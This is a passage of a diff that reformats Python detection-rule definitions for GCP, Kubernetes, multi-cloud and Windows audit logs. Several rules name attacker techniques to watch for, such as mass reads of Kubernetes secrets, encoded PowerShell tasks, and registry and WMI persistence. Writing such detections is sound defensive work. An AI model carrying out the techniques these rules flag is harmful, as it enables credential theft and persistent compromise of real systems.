+ slug="gcp-compute-instance-public-ip-attached",
+ name="GCP Compute Public IP Attached To Instance",
+ severity="medium",
+ mitre=["t1133"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "instances.insert", "external_ip_attached": True, "label_internal": True},
+ fp=[FP_TUNING],
+ playbook="tpl-initial-access",
+ ),
+ S(
+ slug="gcp-compute-os-login-disabled",
+ name="GCP Project OS Login Disabled",
+ severity="medium",
+ mitre=["t1556"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "projects.setCommonInstanceMetadata", "metadata_oslogin": "FALSE"},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="gcp-compute-shielded-vm-disabled",
+ name="GCP Compute Shielded VM Disabled",
+ severity="medium",
+ mitre=["t1610"],
+ product="gcp",
+ service="audit",
+ when={"method_name_endswith": "instances.update", "shielded_instance_config": False},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
]
@@ -578,66 +1469,176 @@ GCP_RULES: list[dict] = [
# Kubernetes (15 rules) - cloud-agnostic
# ---------------------------------------------------------------------------
K8S_RULES: list[dict] = [
- S(slug="k8s-cluster-admin-binding-non-system", name="Kubernetes cluster-admin ClusterRoleBinding For Non-System Subject",
- severity="critical", mitre=["t1098.001"], product="kubernetes", service="audit",
- when={"verb": "create", "object_resource": "clusterrolebindings", "role_ref_name": "cluster-admin", "subject_namespace_not": "kube-system"},
- fp=["Bootstrap of new cluster"], playbook="tpl-privilege-escalation"),
- S(slug="k8s-secret-mass-get", name="Kubernetes Secret Mass Get",
- severity="high", mitre=["t1552.001"], product="kubernetes", service="audit",
- when={"verb": "get", "object_resource": "secrets", "distinct_secrets_per_minute_gt": 30},
- fp=["Operator boot"], playbook="tpl-credential-access"),
- S(slug="k8s-pod-exec-prod-namespace", name="Kubernetes pods/exec In Production Namespace",
- severity="high", mitre=["t1610"], product="kubernetes", service="audit",
- when={"verb": "create", "object_resource": "pods/exec", "object_namespace_in": ["prod", "production"]},
- fp=["DFIR responder", FP_FORENSIC], playbook="tpl-execution"),
- S(slug="k8s-pod-attach-prod-namespace", name="Kubernetes pods/attach In Production Namespace",
- severity="medium", mitre=["t1610"], product="kubernetes", service="audit",
- when={"verb": "create", "object_resource": "pods/attach", "object_namespace_in": ["prod", "production"]},
- fp=[FP_FORENSIC], playbook="tpl-execution"),
- S(slug="k8s-anonymous-system-unauth", name="Kubernetes Request By system:anonymous",
- severity="critical", mitre=["t1078"], product="kubernetes", service="audit",
- when={"user_name": "system:anonymous", "response_status_code_lt": 400},
- fp=["Healthz probe (must be ticketed)"], playbook="tpl-initial-access"),
- S(slug="k8s-rbac-wildcard-verb", name="Kubernetes Role Created With Wildcard Verb",
- severity="high", mitre=["t1078"], product="kubernetes", service="audit",
- when={"verb_in": ["create", "update"], "object_resource_in": ["roles", "clusterroles"], "rule_verbs_contains": "*"},
- fp=["Operator chart"], playbook="tpl-privilege-escalation"),
- S(slug="k8s-pod-host-pid-enabled", name="Kubernetes Pod hostPID=true",
- severity="high", mitre=["t1611"], product="kubernetes", service="audit",
- when={"verb": "create", "object_resource": "pods", "host_pid": True},
- fp=["DaemonSet for monitoring"], playbook="tpl-privilege-escalation"),
- S(slug="k8s-pod-host-network-enabled", name="Kubernetes Pod hostNetwork=true",
- severity="high", mitre=["t1611"], product="kubernetes", service="audit",
- when={"verb": "create", "object_resource": "pods", "host_network": True},
- fp=["CNI / kube-proxy DaemonSet"], playbook="tpl-privilege-escalation"),
- S(slug="k8s-pod-privileged-container", name="Kubernetes Privileged Container Created",
- severity="high", mitre=["t1611"], product="kubernetes", service="audit",
- when={"verb": "create", "object_resource": "pods", "privileged": True},
- fp=["Sysdig / Falco DaemonSet"], playbook="tpl-privilege-escalation"),
- S(slug="k8s-validating-webhook-deleted", name="Kubernetes ValidatingWebhookConfiguration Deleted",
- severity="medium", mitre=["t1562.001"], product="kubernetes", service="audit",
- when={"verb": "delete", "object_resource": "validatingwebhookconfigurations"},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
- S(slug="k8s-mutating-webhook-suspicious-target", name="Kubernetes MutatingWebhookConfiguration With External Endpoint",
- severity="high", mitre=["t1556"], product="kubernetes", service="audit",
- when={"verb_in": ["create", "update"], "object_resource": "mutatingwebhookconfigurations", "webhook_url_external": True},
- fp=["Approved policy controller"], playbook="tpl-defense-evasion"),
- S(slug="k8s-service-account-token-mount-default", name="Kubernetes Pod Default ServiceAccount Token Mount",
- severity="low", mitre=["t1078"], product="kubernetes", service="audit",
- when={"verb": "create", "object_resource": "pods", "service_account": "default", "automount_token": True},
- fp=["Greenfield workload"], playbook="tpl-credential-access"),
- S(slug="k8s-impersonation-by-user", name="Kubernetes Impersonate Privileged User",
- severity="high", mitre=["t1078.001"], product="kubernetes", service="audit",
- when={"verb_contains": "impersonate", "impersonated_user_in": ["system:masters", "kubernetes-admin"]},
- fp=[FP_FORENSIC], playbook="tpl-privilege-escalation"),
- S(slug="k8s-namespace-deletion-prod", name="Kubernetes Production Namespace Deleted",
- severity="critical", mitre=["t1485"], product="kubernetes", service="audit",
- when={"verb": "delete", "object_resource": "namespaces", "object_name_in": ["prod", "production"]},
- fp=[FP_BREAK_GLASS], playbook="tpl-impact"),
- S(slug="k8s-network-policy-deleted-prod", name="Kubernetes NetworkPolicy Deleted In Production",
- severity="high", mitre=["t1562.004"], product="kubernetes", service="audit",
- when={"verb": "delete", "object_resource": "networkpolicies", "object_namespace_in": ["prod", "production"]},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
+ S(
+ slug="k8s-cluster-admin-binding-non-system",
+ name="Kubernetes cluster-admin ClusterRoleBinding For Non-System Subject",
+ severity="critical",
+ mitre=["t1098.001"],
+ product="kubernetes",
+ service="audit",
+ when={
+ "verb": "create",
+ "object_resource": "clusterrolebindings",
+ "role_ref_name": "cluster-admin",
+ "subject_namespace_not": "kube-system",
+ },
+ fp=["Bootstrap of new cluster"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="k8s-secret-mass-get",
+ name="Kubernetes Secret Mass Get",
+ severity="high",
+ mitre=["t1552.001"],
+ product="kubernetes",
+ service="audit",
+ when={"verb": "get", "object_resource": "secrets", "distinct_secrets_per_minute_gt": 30},
+ fp=["Operator boot"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="k8s-pod-exec-prod-namespace",
+ name="Kubernetes pods/exec In Production Namespace",
+ severity="high",
+ mitre=["t1610"],
+ product="kubernetes",
+ service="audit",
+ when={"verb": "create", "object_resource": "pods/exec", "object_namespace_in": ["prod", "production"]},
+ fp=["DFIR responder", FP_FORENSIC],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="k8s-pod-attach-prod-namespace",
+ name="Kubernetes pods/attach In Production Namespace",
+ severity="medium",
+ mitre=["t1610"],
+ product="kubernetes",
+ service="audit",
+ when={"verb": "create", "object_resource": "pods/attach", "object_namespace_in": ["prod", "production"]},
+ fp=[FP_FORENSIC],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="k8s-anonymous-system-unauth",
+ name="Kubernetes Request By system:anonymous",
+ severity="critical",
+ mitre=["t1078"],
+ product="kubernetes",
+ service="audit",
+ when={"user_name": "system:anonymous", "response_status_code_lt": 400},
+ fp=["Healthz probe (must be ticketed)"],
+ playbook="tpl-initial-access",
+ ),
+ S(
+ slug="k8s-rbac-wildcard-verb",
+ name="Kubernetes Role Created With Wildcard Verb",
+ severity="high",
+ mitre=["t1078"],
+ product="kubernetes",
+ service="audit",
+ when={"verb_in": ["create", "update"], "object_resource_in": ["roles", "clusterroles"], "rule_verbs_contains": "*"},
+ fp=["Operator chart"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="k8s-pod-host-pid-enabled",
+ name="Kubernetes Pod hostPID=true",
+ severity="high",
+ mitre=["t1611"],
+ product="kubernetes",
+ service="audit",
+ when={"verb": "create", "object_resource": "pods", "host_pid": True},
+ fp=["DaemonSet for monitoring"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="k8s-pod-host-network-enabled",
+ name="Kubernetes Pod hostNetwork=true",
+ severity="high",
+ mitre=["t1611"],
+ product="kubernetes",
+ service="audit",
+ when={"verb": "create", "object_resource": "pods", "host_network": True},
+ fp=["CNI / kube-proxy DaemonSet"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="k8s-pod-privileged-container",
+ name="Kubernetes Privileged Container Created",
+ severity="high",
+ mitre=["t1611"],
+ product="kubernetes",
+ service="audit",
+ when={"verb": "create", "object_resource": "pods", "privileged": True},
+ fp=["Sysdig / Falco DaemonSet"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="k8s-validating-webhook-deleted",
+ name="Kubernetes ValidatingWebhookConfiguration Deleted",
+ severity="medium",
+ mitre=["t1562.001"],
+ product="kubernetes",
+ service="audit",
+ when={"verb": "delete", "object_resource": "validatingwebhookconfigurations"},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="k8s-mutating-webhook-suspicious-target",
+ name="Kubernetes MutatingWebhookConfiguration With External Endpoint",
+ severity="high",
+ mitre=["t1556"],
+ product="kubernetes",
+ service="audit",
+ when={"verb_in": ["create", "update"], "object_resource": "mutatingwebhookconfigurations", "webhook_url_external": True},
+ fp=["Approved policy controller"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="k8s-service-account-token-mount-default",
+ name="Kubernetes Pod Default ServiceAccount Token Mount",
+ severity="low",
+ mitre=["t1078"],
+ product="kubernetes",
+ service="audit",
+ when={"verb": "create", "object_resource": "pods", "service_account": "default", "automount_token": True},
+ fp=["Greenfield workload"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="k8s-impersonation-by-user",
+ name="Kubernetes Impersonate Privileged User",
+ severity="high",
+ mitre=["t1078.001"],
+ product="kubernetes",
+ service="audit",
+ when={"verb_contains": "impersonate", "impersonated_user_in": ["system:masters", "kubernetes-admin"]},
+ fp=[FP_FORENSIC],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="k8s-namespace-deletion-prod",
+ name="Kubernetes Production Namespace Deleted",
+ severity="critical",
+ mitre=["t1485"],
+ product="kubernetes",
+ service="audit",
+ when={"verb": "delete", "object_resource": "namespaces", "object_name_in": ["prod", "production"]},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="k8s-network-policy-deleted-prod",
+ name="Kubernetes NetworkPolicy Deleted In Production",
+ severity="high",
+ mitre=["t1562.004"],
+ product="kubernetes",
+ service="audit",
+ when={"verb": "delete", "object_resource": "networkpolicies", "object_namespace_in": ["prod", "production"]},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
]
@@ -645,46 +1646,124 @@ K8S_RULES: list[dict] = [
# Multi-cloud / SaaS-cloud (10 rules)
# ---------------------------------------------------------------------------
MULTI_CLOUD_RULES: list[dict] = [
- S(slug="cloud-cloudflare-zone-transfer", name="Cloudflare Zone Transferred Out Of Account",
- severity="high", mitre=["t1583.001"], product="cloudflare", service="audit",
- when={"action": "zone.transfer_out"},
- fp=["Approved org migration"], playbook="tpl-impact"),
- S(slug="cloud-cloudflare-waf-rule-disabled", name="Cloudflare WAF Rule Disabled",
- severity="high", mitre=["t1562.001"], product="cloudflare", service="audit",
- when={"action_in": ["firewall_rule.disable", "waf_rule.disable"]},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
- S(slug="cloud-cloudflare-access-policy-bypass", name="Cloudflare Access Policy Bypass Granted",
- severity="critical", mitre=["t1556"], product="cloudflare", service="audit",
- when={"action": "access_policy.create", "decision": "bypass"},
- fp=[FP_BREAK_GLASS], playbook="tpl-defense-evasion"),
- S(slug="cloud-do-droplet-snapshot-shared", name="DigitalOcean Droplet Snapshot Transferred",
- severity="high", mitre=["t1537"], product="digitalocean", service="api",
- when={"action": "snapshot.transfer", "destination_account_external": True},
- fp=["Approved DR copy"], playbook="tpl-exfiltration"),
- S(slug="cloud-oci-iam-tenant-admin-binding", name="OCI Tenant Administrators Group Membership Added",
- severity="critical", mitre=["t1078.004"], product="oci", service="audit",
- when={"event_name": "AddUserToGroup", "group": "Administrators", "compartment": "tenancy"},
- fp=[FP_BREAK_GLASS], playbook="tpl-privilege-escalation"),
- S(slug="cloud-multi-cross-cloud-mass-egress", name="Multi-Cloud Cross-Cloud Mass Egress Burst",
- severity="high", mitre=["t1567"], product="multi-cloud", service="netflow",
- when={"src_cloud_in": ["aws", "azure", "gcp"], "dst_cloud_in": ["aws", "azure", "gcp"], "src_cloud_neq_dst_cloud": True, "bytes_out_per_minute_gt": 1073741824},
- fp=["Approved cross-cloud replication pipeline"], playbook="tpl-exfiltration"),
- S(slug="cloud-iac-drift-bypassed", name="Infra-As-Code Drift Bypassed With Manual Override",
- severity="medium", mitre=["t1610"], product="multi-cloud", service="iac",
- when={"action": "manual_override", "approver_in": ["self"], "out_of_hours": True},
- fp=[FP_BREAK_GLASS], playbook="tpl-impact"),
- S(slug="cloud-terraform-state-modified-direct", name="Terraform State File Modified Outside Pipeline",
- severity="high", mitre=["t1565.001"], product="multi-cloud", service="iac",
- when={"action": "state.modify", "actor_in_pipeline": False},
- fp=["Manual recovery (incident-tracked)"], playbook="tpl-impact"),
- S(slug="cloud-saml-idp-trust-changed", name="Cloud Provider SAML IdP Trust Changed",
- severity="high", mitre=["t1556"], product="multi-cloud", service="iam",
- when={"event_name_in": ["UpdateSAMLProvider", "Update federation configuration", "SetIdentityProvider"], "metadata_url_changed": True},
- fp=["IdP migration (must be ticketed)"], playbook="tpl-defense-evasion"),
- S(slug="cloud-org-rootmail-modified", name="Cloud Provider Root/Owner Email Modified",
- severity="critical", mitre=["t1078.004"], product="multi-cloud", service="iam",
- when={"event_name_in": ["UpdateAccountEmail", "Update tenant primary contact", "ChangeRootMail"], "actor_eq_target": False},
- fp=["Approved ownership transfer"], playbook="tpl-account-manipulation"),
+ S(
+ slug="cloud-cloudflare-zone-transfer",
+ name="Cloudflare Zone Transferred Out Of Account",
+ severity="high",
+ mitre=["t1583.001"],
+ product="cloudflare",
+ service="audit",
+ when={"action": "zone.transfer_out"},
+ fp=["Approved org migration"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="cloud-cloudflare-waf-rule-disabled",
+ name="Cloudflare WAF Rule Disabled",
+ severity="high",
+ mitre=["t1562.001"],
+ product="cloudflare",
+ service="audit",
+ when={"action_in": ["firewall_rule.disable", "waf_rule.disable"]},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="cloud-cloudflare-access-policy-bypass",
+ name="Cloudflare Access Policy Bypass Granted",
+ severity="critical",
+ mitre=["t1556"],
+ product="cloudflare",
+ service="audit",
+ when={"action": "access_policy.create", "decision": "bypass"},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="cloud-do-droplet-snapshot-shared",
+ name="DigitalOcean Droplet Snapshot Transferred",
+ severity="high",
+ mitre=["t1537"],
+ product="digitalocean",
+ service="api",
+ when={"action": "snapshot.transfer", "destination_account_external": True},
+ fp=["Approved DR copy"],
+ playbook="tpl-exfiltration",
+ ),
+ S(
+ slug="cloud-oci-iam-tenant-admin-binding",
+ name="OCI Tenant Administrators Group Membership Added",
+ severity="critical",
+ mitre=["t1078.004"],
+ product="oci",
+ service="audit",
+ when={"event_name": "AddUserToGroup", "group": "Administrators", "compartment": "tenancy"},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="cloud-multi-cross-cloud-mass-egress",
+ name="Multi-Cloud Cross-Cloud Mass Egress Burst",
+ severity="high",
+ mitre=["t1567"],
+ product="multi-cloud",
+ service="netflow",
+ when={
+ "src_cloud_in": ["aws", "azure", "gcp"],
+ "dst_cloud_in": ["aws", "azure", "gcp"],
+ "src_cloud_neq_dst_cloud": True,
+ "bytes_out_per_minute_gt": 1073741824,
+ },
+ fp=["Approved cross-cloud replication pipeline"],
+ playbook="tpl-exfiltration",
+ ),
+ S(
+ slug="cloud-iac-drift-bypassed",
+ name="Infra-As-Code Drift Bypassed With Manual Override",
+ severity="medium",
+ mitre=["t1610"],
+ product="multi-cloud",
+ service="iac",
+ when={"action": "manual_override", "approver_in": ["self"], "out_of_hours": True},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="cloud-terraform-state-modified-direct",
+ name="Terraform State File Modified Outside Pipeline",
+ severity="high",
+ mitre=["t1565.001"],
+ product="multi-cloud",
+ service="iac",
+ when={"action": "state.modify", "actor_in_pipeline": False},
+ fp=["Manual recovery (incident-tracked)"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="cloud-saml-idp-trust-changed",
+ name="Cloud Provider SAML IdP Trust Changed",
+ severity="high",
+ mitre=["t1556"],
+ product="multi-cloud",
+ service="iam",
+ when={
+ "event_name_in": ["UpdateSAMLProvider", "Update federation configuration", "SetIdentityProvider"],
+ "metadata_url_changed": True,
+ },
+ fp=["IdP migration (must be ticketed)"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="cloud-org-rootmail-modified",
+ name="Cloud Provider Root/Owner Email Modified",
+ severity="critical",
+ mitre=["t1078.004"],
+ product="multi-cloud",
+ service="iam",
+ when={"event_name_in": ["UpdateAccountEmail", "Update tenant primary contact", "ChangeRootMail"], "actor_eq_target": False},
+ fp=["Approved ownership transfer"],
+ playbook="tpl-account-manipulation",
+ ),
]
diff --git a/scripts/detection_specs_part3_endpoint.py b/scripts/detection_specs_part3_endpoint.py
index 6c49f71a3..028dccfb5 100644
--- a/scripts/detection_specs_part3_endpoint.py
+++ b/scripts/detection_specs_part3_endpoint.py
@@ -29,378 +29,1070 @@ from detection_specs_part3_helpers import ( # type: ignore[import-not-found]
# ---------------------------------------------------------------------------
WINDOWS_RULES: list[dict] = [
# ---- Persistence: services, tasks, registry (20) ----
- S(slug="win-service-create-suspicious-binpath", name="Windows Service Created With Suspicious BinaryPath",
- severity="high", mitre=["t1543.003"], product="windows", service="services",
- when={"event_id": 7045, "service_image_path_contains_any": ["\\users\\public\\", "\\appdata\\local\\temp\\", "\\programdata\\"]},
- fp=[FP_PATCH, FP_AUTOMATION], playbook="tpl-persistence"),
- S(slug="win-service-modify-image-path", name="Windows Service Image Path Modified",
- severity="high", mitre=["t1543.003", "t1574"], product="windows", service="services",
- when={"event_id": 4697, "service_image_path_changed": True},
- fp=[FP_PATCH, "Approved binary upgrade"], playbook="tpl-persistence"),
- S(slug="win-service-svchost-loaded-suspicious-dll", name="Windows svchost.exe Loaded DLL From User Path",
- severity="high", mitre=["t1574.002"], product="windows", service="sysmon",
- when={"image_loaded_path_contains_any": ["\\users\\", "\\temp\\", "\\appdata\\"], "process_name": "svchost.exe"},
- fp=["Sanctioned 3rd-party tooling installer"], playbook="tpl-defense-evasion"),
- S(slug="win-task-create-from-untrusted-process", name="Scheduled Task Created From Office or Browser",
- severity="high", mitre=["t1053.005"], product="windows", service="task-scheduler",
- when={"event_id": 4698, "creator_process_endswith_any": ["winword.exe", "excel.exe", "outlook.exe", "chrome.exe", "msedge.exe"]},
- fp=[FP_AUTOMATION], playbook="tpl-persistence"),
- S(slug="win-task-runs-encoded-powershell", name="Scheduled Task Runs Encoded PowerShell",
- severity="high", mitre=["t1053.005", "t1027"], product="windows", service="task-scheduler",
- when={"event_id": 4698, "task_command_contains": "-encodedcommand"},
- fp=["Vendor agent that uses encoded payloads (allow-listed)"], playbook="tpl-execution"),
- S(slug="win-runkey-write-binary-temp", name="Registry Run Key Points To Temp Path",
- severity="high", mitre=["t1547.001"], product="windows", service="sysmon",
- when={"event_id": 13, "target_object_contains": "\\currentversion\\run", "value_data_contains_any": ["\\temp\\", "\\appdata\\local\\temp\\"]},
- fp=["Installer pre-warm (verify hash)"], playbook="tpl-persistence"),
- S(slug="win-runonceex-write", name="Registry RunOnceEx Key Modified",
- severity="medium", mitre=["t1547.001"], product="windows", service="sysmon",
- when={"event_id": 13, "target_object_contains": "\\runonceex"},
- fp=[FP_PATCH], playbook="tpl-persistence"),
- S(slug="win-image-file-execution-options-debugger", name="Image File Execution Options Debugger Set",
- severity="critical", mitre=["t1546.012"], product="windows", service="sysmon",
- when={"event_id": 13, "target_object_contains": "image file execution options", "value_name": "Debugger"},
- fp=["Authorised debugger setup (development host)"], playbook="tpl-persistence"),
- S(slug="win-appinit-dll-write", name="AppInit_DLLs Registry Value Modified",
- severity="high", mitre=["t1546.010"], product="windows", service="sysmon",
- when={"event_id": 13, "target_object_endswith": "\\appinit_dlls"},
- fp=["Endpoint protection installer"], playbook="tpl-persistence"),
- S(slug="win-winlogon-userinit-modified", name="Winlogon Userinit Registry Value Modified",
- severity="critical", mitre=["t1547.004"], product="windows", service="sysmon",
- when={"event_id": 13, "target_object_endswith_any": ["\\userinit", "\\shell"]},
- fp=["Imaging baseline (verify deployment ticket)"], playbook="tpl-persistence"),
- S(slug="win-screensaver-registry-binary", name="ScreenSaver Registry Path Set To Custom Binary",
- severity="medium", mitre=["t1546.002"], product="windows", service="sysmon",
- when={"event_id": 13, "target_object_endswith": "\\scrnsave.exe"},
- fp=["Corporate-branded screensaver via GPO"], playbook="tpl-persistence"),
- S(slug="win-bootexecute-modified", name="HKLM BootExecute Registry Value Modified",
- severity="critical", mitre=["t1547"], product="windows", service="sysmon",
- when={"event_id": 13, "target_object_endswith": "\\session manager\\bootexecute"},
- fp=[FP_PATCH], playbook="tpl-persistence"),
- S(slug="win-startup-folder-write", name="Startup Folder Written By Non-Installer Process",
- severity="medium", mitre=["t1547.001"], product="windows", service="sysmon",
- when={"event_id": 11, "target_filename_contains": "\\start menu\\programs\\startup\\", "creator_process_not_endswith_any": ["msiexec.exe", "setup.exe"]},
- fp=["Self-published in-house tooling (allow-listed signer)"], playbook="tpl-persistence"),
- S(slug="win-logon-script-registry", name="Logon Script Registry Modified",
- severity="high", mitre=["t1037.001"], product="windows", service="sysmon",
- when={"event_id": 13, "target_object_endswith": "\\environment\\userinitmprlogonscript"},
- fp=[FP_AUTOMATION], playbook="tpl-persistence"),
- S(slug="win-com-hijack-classes-root", name="COM Hijack Via HKCR\\CLSID\\InprocServer32 Modification",
- severity="high", mitre=["t1546.015"], product="windows", service="sysmon",
- when={"event_id": 13, "target_object_contains": "\\classes\\clsid\\", "target_object_endswith": "\\inprocserver32\\(default)"},
- fp=["MSI install of legitimate COM component"], playbook="tpl-persistence"),
- S(slug="win-wmi-eventfilter-create", name="Permanent WMI EventFilter Created",
- severity="high", mitre=["t1546.003"], product="windows", service="sysmon",
- when={"event_id": 19},
- fp=["Endpoint mgmt agent uses WMI persistence (allow-listed)"], playbook="tpl-persistence"),
- S(slug="win-wmi-eventconsumer-create", name="Permanent WMI EventConsumer Created",
- severity="high", mitre=["t1546.003"], product="windows", service="sysmon",
- when={"event_id": 20},
- fp=["Endpoint mgmt agent uses WMI persistence (allow-listed)"], playbook="tpl-persistence"),
- S(slug="win-wmi-binding-create", name="WMI Filter-To-Consumer Binding Created",
- severity="high", mitre=["t1546.003"], product="windows", service="sysmon",
- when={"event_id": 21},
- fp=["Endpoint mgmt agent uses WMI persistence (allow-listed)"], playbook="tpl-persistence"),
- S(slug="win-shim-database-installed", name="Application Compatibility Shim Database Installed",
- severity="high", mitre=["t1546.011"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "sdbinst.exe", "process_command_line_contains_any": [".sdb", "/install"]},
- fp=["Microsoft compatibility tooling rolled by IT"], playbook="tpl-persistence"),
- S(slug="win-print-monitor-installed", name="Print Monitor DLL Installed",
- severity="high", mitre=["t1547.010"], product="windows", service="sysmon",
- when={"event_id": 13, "target_object_contains": "\\control\\print\\monitors\\"},
- fp=["Vendor printer driver install"], playbook="tpl-persistence"),
-
+ S(
+ slug="win-service-create-suspicious-binpath",
+ name="Windows Service Created With Suspicious BinaryPath",
+ severity="high",
+ mitre=["t1543.003"],
+ product="windows",
+ service="services",
+ when={"event_id": 7045, "service_image_path_contains_any": ["\\users\\public\\", "\\appdata\\local\\temp\\", "\\programdata\\"]},
+ fp=[FP_PATCH, FP_AUTOMATION],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="win-service-modify-image-path",
+ name="Windows Service Image Path Modified",
+ severity="high",
+ mitre=["t1543.003", "t1574"],
+ product="windows",
+ service="services",
+ when={"event_id": 4697, "service_image_path_changed": True},
+ fp=[FP_PATCH, "Approved binary upgrade"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="win-service-svchost-loaded-suspicious-dll",
+ name="Windows svchost.exe Loaded DLL From User Path",
+ severity="high",
+ mitre=["t1574.002"],
+ product="windows",
+ service="sysmon",
+ when={"image_loaded_path_contains_any": ["\\users\\", "\\temp\\", "\\appdata\\"], "process_name": "svchost.exe"},
+ fp=["Sanctioned 3rd-party tooling installer"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="win-task-create-from-untrusted-process",
+ name="Scheduled Task Created From Office or Browser",
+ severity="high",
+ mitre=["t1053.005"],
+ product="windows",
+ service="task-scheduler",
+ when={"event_id": 4698, "creator_process_endswith_any": ["winword.exe", "excel.exe", "outlook.exe", "chrome.exe", "msedge.exe"]},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="win-task-runs-encoded-powershell",
+ name="Scheduled Task Runs Encoded PowerShell",
+ severity="high",
+ mitre=["t1053.005", "t1027"],
+ product="windows",
+ service="task-scheduler",
+ when={"event_id": 4698, "task_command_contains": "-encodedcommand"},
+ fp=["Vendor agent that uses encoded payloads (allow-listed)"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="win-runkey-write-binary-temp",
+ name="Registry Run Key Points To Temp Path",
+ severity="high",
+ mitre=["t1547.001"],
+ product="windows",
+ service="sysmon",
+ when={
+ "event_id": 13,
+ "target_object_contains": "\\currentversion\\run",
+ "value_data_contains_any": ["\\temp\\", "\\appdata\\local\\temp\\"],
+ },
+ fp=["Installer pre-warm (verify hash)"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="win-runonceex-write",
+ name="Registry RunOnceEx Key Modified",
+ severity="medium",
+ mitre=["t1547.001"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 13, "target_object_contains": "\\runonceex"},
+ fp=[FP_PATCH],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="win-image-file-execution-options-debugger",
+ name="Image File Execution Options Debugger Set",
+ severity="critical",
+ mitre=["t1546.012"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 13, "target_object_contains": "image file execution options", "value_name": "Debugger"},
+ fp=["Authorised debugger setup (development host)"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="win-appinit-dll-write",
+ name="AppInit_DLLs Registry Value Modified",
+ severity="high",
+ mitre=["t1546.010"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 13, "target_object_endswith": "\\appinit_dlls"},
+ fp=["Endpoint protection installer"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="win-winlogon-userinit-modified",
+ name="Winlogon Userinit Registry Value Modified",
+ severity="critical",
+ mitre=["t1547.004"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 13, "target_object_endswith_any": ["\\userinit", "\\shell"]},
+ fp=["Imaging baseline (verify deployment ticket)"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="win-screensaver-registry-binary",
+ name="ScreenSaver Registry Path Set To Custom Binary",
+ severity="medium",
+ mitre=["t1546.002"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 13, "target_object_endswith": "\\scrnsave.exe"},
+ fp=["Corporate-branded screensaver via GPO"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="win-bootexecute-modified",
+ name="HKLM BootExecute Registry Value Modified",
+ severity="critical",
+ mitre=["t1547"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 13, "target_object_endswith": "\\session manager\\bootexecute"},
+ fp=[FP_PATCH],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="win-startup-folder-write",
+ name="Startup Folder Written By Non-Installer Process",
+ severity="medium",
+ mitre=["t1547.001"],
+ product="windows",
+ service="sysmon",
+ when={
+ "event_id": 11,
+ "target_filename_contains": "\\start menu\\programs\\startup\\",
+ "creator_process_not_endswith_any": ["msiexec.exe", "setup.exe"],
+ },
+ fp=["Self-published in-house tooling (allow-listed signer)"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="win-logon-script-registry",
+ name="Logon Script Registry Modified",
+ severity="high",
+ mitre=["t1037.001"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 13, "target_object_endswith": "\\environment\\userinitmprlogonscript"},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="win-com-hijack-classes-root",
+ name="COM Hijack Via HKCR\\CLSID\\InprocServer32 Modification",
+ severity="high",
+ mitre=["t1546.015"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 13, "target_object_contains": "\\classes\\clsid\\", "target_object_endswith": "\\inprocserver32\\(default)"},
+ fp=["MSI install of legitimate COM component"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="win-wmi-eventfilter-create",
+ name="Permanent WMI EventFilter Created",
+ severity="high",
+ mitre=["t1546.003"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 19},
+ fp=["Endpoint mgmt agent uses WMI persistence (allow-listed)"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="win-wmi-eventconsumer-create",
+ name="Permanent WMI EventConsumer Created",
+ severity="high",
